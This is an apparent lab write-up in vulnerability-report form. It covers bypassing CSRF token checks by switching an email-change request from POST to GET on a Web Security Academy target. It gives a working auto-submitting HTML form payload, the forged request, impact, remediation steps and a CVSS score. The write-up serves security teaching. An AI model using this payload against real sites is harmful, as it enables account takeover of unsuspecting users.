

Title of Issue

Cross-Site Request Forgery (CSRF) — Token Validation Bypassed via HTTP Method Switching

Description

The application implements CSRF token validation on `POST` requests to the email-change endpoint. However, the server-side validation logic only enforces the CSRF token check when the request method is `POST`. If the same action is triggered via a `GET` request, the CSRF token validation is skipped entirely, allowing an attacker to forge the request without possessing a valid token.

This is a flawed implementation of CSRF protection — the defence is conditionally applied based on HTTP method rather than unconditionally on all state-changing operations.

Affected Endpoint: `POST /my-account/change-email` (also accepts `GET`) **Bypass Method:** Change HTTP method to `GET`

Steps to Exploit

1. Log in as `wiener:peter` and intercept the email-change request — observe it contains a `csrf` token parameter.
2. Confirm that submitting a `POST` without a valid CSRF token is rejected by the server.
3. Navigate to the exploit server and enter the following payload that uses a `GET` form:

```
<form method="GET" action="https://<lab-id>.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="hacker@evil-user.net">
</form>
<script>document.forms[0].submit();</script>
```

4. Click **Store**, then **Deliver exploit to victim**.
 5. The victim's browser sends a `GET` request to the endpoint — no CSRF token required — and the email is changed.
-

Proof of Concept

Bypassed Request Method — GET:

```
<form method="GET" action="https://<lab-id>.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="hacker@evil-user.net">
</form>
<script>document.forms[0].submit();</script>
```

Resulting HTTP Request sent by victim's browser:

```
GET /my-account/change-email?email=hacker%40evil-user.net HTTP/1.1
Host: <lab-id>.web-security-academy.net
```

Cookie: session=<victim-session-cookie>

Comparison:

Method	CSRF Token Required	Accepted by Server
POST	Yes	Only with valid token
GET	No	Yes — token check skipped

The server performs the email update regardless of method when no token validation is applied to `GET` requests.

Impact

- Complete CSRF token bypass for all state-changing operations that also accept `GET` requests.
- Account takeover via email change, identical to the no-defenses CSRF scenario.
- The vulnerability applies to any endpoint where the CSRF check is method-conditional.
- Attacker can chain this with other vulnerabilities (XSS, open redirect) for higher-impact exploitation.

Mitigation / Remediation

1. **Enforce CSRF token validation on all state-changing operations regardless of HTTP method** — do not conditionally skip validation based on method.
2. **State-changing operations should only accept `POST`, `PUT`, or `PATCH`** — never `GET`.
Configure the framework to reject `GET` for these endpoints.
3. **Implement `SameSite=Strict` on session cookies** to prevent cross-site cookie transmission entirely.
4. **Validate `Origin` and `Referer` headers** as a secondary control.
5. **Use framework-level CSRF protection** (e.g., Django's `CsrfViewMiddleware`, Spring Security's CSRF filter) which applies uniformly to all methods.

CVSS Score

CVSS v3.1 Score: 6.5 (Medium) `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N`

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Delivered remotely via a cross-origin request
Attack Complexity	Low	Simple method switch, no special conditions
Privileges Required	None	No attacker account required
User Interaction	Required	Victim must visit the attacker-controlled page
Scope	Unchanged	Impact confined to the victim's account
Confidentiality Impact	None	No data exfiltrated

Integrity Impact	High	Account email changed, enabling full takeover
Availability Impact	None	No service disruption